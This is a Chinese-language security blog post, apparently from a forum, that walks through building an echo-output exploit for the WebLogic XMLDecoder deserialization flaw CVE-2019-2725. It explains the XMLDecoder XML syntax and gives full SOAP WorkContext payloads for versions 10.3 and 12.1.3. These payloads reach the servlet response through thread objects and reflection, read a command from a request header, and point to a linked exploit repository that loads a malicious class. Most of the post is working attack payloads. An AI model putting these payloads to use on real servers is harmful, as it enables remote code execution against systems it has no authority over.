效果图

Github地址:
https://github.com/lufeirider/CVE-2019-2725

xmldecoder

XMLEncoder

通过一个小例子来理解xmldecoder解析的xml的语法,方便后面回显exp的构造。

java.io.BufferedWriter out = new java.io.BufferedWriter(new java.io.FileWriter("f:/1.txt"));
String className = out.getClass().toString();
out.write(className);
out.close();
<object class="java.io.BufferedWriter">
<object class="java.io.FileWriter"><string>f:/2.txt</string></object>
<void property="class" id="class_property"></void>
<object class="java.io.String"><object idref="class_property"><void method="toString" id="className"></void></object></object>
<void method="write"><object idref="className"></object></void>
<void method="close"></void>
</object>

对象初始化

<object class="java.io.FileWriter"><string>f:/2.txt</string></object>或者<void class="java.io.FileWriter"><string>f:/2.txt</string></void>在object或void标签之中的第一标签是值,用于初始化对象。

无值链式调用

out.getClass().toString()

<void method="getClass"><void method="toString" id="className"></void></void>

既在void之中的第一标签是void。

有值链式调用

a.getxxx("xxx").toString()

<void method="getxxx">
    <string>xxx</string>
    <void method="toString"></void>
</void>

既在void之中的第一标签是值,第二个标签是void。

普通调用

out.write(className);
out.close();

<void method="write"><object idref="className"></object></void>
<void method="close"></void>

void属于并列关系。

属性

<void property="class" id="class_property"></void>,在这里获取使用property来获取属性,其实使用的就是getXXX()函数来获取

id与idref

<void property="class" id="class_property"></void>,这里在void中使用id进行标记,然后在<void method="write"><object idref="className"></object></void>中使用idref进行引用。

最后会在f盘中写入2.txt文件。

回显构造

原理:获取当前线程,然后调用函数进行显示。

确定线程类

weblogic封装了很多线程,无法确认获取的是哪个线程类。可以通过报错的形式获取。

<void class="java.lang.Thread" method="currentThread">
    <void method="xxxxxxx"></void>
</void>

可以获取到的线程类是ExecuteThread

但是有两个ExecuteThread,在不同包里面,可以使用weblogic.work.ExecuteThread中特有的getDate函数,发现没有报错。说明就是weblogic.work.ExecuteThread

确认输出类

利用ServletResponse类的getWriter,然后输出。

PrintWriter pw = response.getWriter();
pw.write("hello");

或者利用ServletResponse类的getOutputStream进行输出。

response.getOutputStream().write("hello".getBytes("UTF-8"));

如果没有参考输出的代码,自己要找的话,其实比较困难,因为weblogic会有很多类有getWriter、getOutputStream函数(虽然后面发现也对response搞了getResponse函数)用于各种场景,很难找到正确的类,只能通过查看类名进行初步判断进行筛选,这个过程异常痛苦。(后面发现是可以通过查看是否实现了ServletResponse接口来判断,虽然类还是很多,但是比之前直接搜索函数少不少。)

而且就算找对了ServletResponseImpl,并且对getOutputStream下断点,还发现跟的是一个异步,没办法回显。(后面发现,对response下断点就可以跟踪到同步线程)

因为没有更好的思路,看了shack2的工具。不过也比较痛苦,没有java的源代码,只有xml,通过大量的测试终于找到了正确的类,成功下了断点。
server\lib\weblogic.jar!\weblogic\servlet\internal\ServletRequestImpl.class
weblogic.servlet.internal.ServletRequestImpl
getResponse

10.0.3回显构造

((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("xxxxxxx"),就会在返回包中看到返回xxxxxxx。

但是这样会存在问题,会提示。

原因是getOutputStream是字节流,getWriter是字符流,不统一,java源码提示的是,不能在getWriter后面调用getOutputStream。在谷歌过程中还产生一个疑问,说只能使用其中一种流。很奇怪,在构造回显的时候,先使用getOutputStream,再使用getWriter也是没问题的。

((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().writeStream(new StringInputStream("xxxx"))
((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().flush()

所以这里使用getOutputStream进行输出,虽然显示了结果,但是还是有其他的东西。

只要执行下面的东西,就会把结果覆盖掉为空。两种流是互相拼接起来。

((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("")

再者要解决接受参数的问题,这个比较简单,因为接受参数就在返回函数的附近。从header头lufei接受参数。

((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lufei");

整合起来

String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");

12.1.3回显构造

<void class="java.lang.Thread" method="currentThread">
    <void method="getCurrentWork">
        <void method="getResponse">
            <void method="getServletOutputStream">
                <void method="writeStream">
                    <object class="weblogic.xml.util.StringInputStream"><string>2222222222</string></object>
                </void>
                <void method="flush"/>
            </void>
            <void method="getWriter"><void method="write"><string></string></void></void>
        </void>
    </void>
</void>

发现拿前面的回显不能用了。在cmd窗口报错显示java.lang.NoSuchMethodException: <unbound>=ContainerSupportProviderImpl$WlsRequestExecutor.getResponse();。我们在response下断点,然后关注是否在weblogic.work.ExecuteThread这个线程类中。

发现getCurrentWork获取的是ContainerSupportProviderImpl$WlsRequestExecutor类,这个类没有getResponse函数。

但是在ContainerSupportProviderImpl$WlsRequestExecutor类发现里面有一个属性,是能够获取到response的。

但是这个connectionHandler并没有getter,所以无法使用property="connectionHandler"属性,只能通过反射的方式去获取。只要能够getResponse后面流程差不多。

java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));

转成xml

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java>
            <void class="java.lang.Thread" method="currentThread">
                <void method="getCurrentWork" id="current_work"></void>
            </void>

             <void class="java.lang.Thread" method="currentThread">
                <void method="getCurrentWork">
                    <void method="getClass">
                        <void method="getDeclaredField" id="field"><string>connectionHandler</string></void>
                    </void>
                </void>
            </void>

            <object idref="field">
                <void method="setAccessible">
                    <boolean>true</boolean>
                </void>
                <void method="get" id="http_conn">
                    <object idref="current_work"></object>
                </void>
            </object>

            <object idref="http_conn">
                 <void method="getServletRequest">
                    <void method="getResponse">
                        <void method="getServletOutputStream">
                            <void method="writeStream">
                                <object class="weblogic.xml.util.StringInputStream"><string>33333333333333</string></object>
                            </void>
                            <void method="flush"/>
                        </void>
                        <void method="getWriter"><void method="write"><string></string></void></void>
                    </void>
                </void>
            </object>

        </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

进行简化

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java>
            <void class="java.lang.Thread" method="currentThread">
                <void method="getCurrentWork" id="current_work">
                    <void method="getClass">
                        <void method="getDeclaredField">
                            <string>connectionHandler</string>
                                <void method="setAccessible"><boolean>true</boolean></void>
                            <void method="get">
                                <object idref="current_work"></object>
                                <void method="getServletRequest">
                                    <void method="getResponse">
                                        <void method="getServletOutputStream">
                                            <void method="writeStream">
                                                <object class="weblogic.xml.util.StringInputStream"><string>lufei test</string></object>
                                                </void>
                                            <void method="flush"/>
                                            </void>
                                    <void method="getWriter"><void method="write"><string></string></void></void>
                                    </void>
                                </void>
                            </void>
                        </void>
                    </void>
                </void>
            </void>
        </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

defineClass

最后一步,使用defineclass还原恶意class,这个类比较好的是可以把一个类变成一个模块,到处使用,非常nice。当然也可以不用这个类。我这里直接转成了base64,因为有现成的文件转换工具。具体代码请看github。

参考

defineClass在java反序列化当中的利用

shack2 CVE-2017-10271反序列化工具

点击收藏 | 3 关注 | 3
登录 后跟帖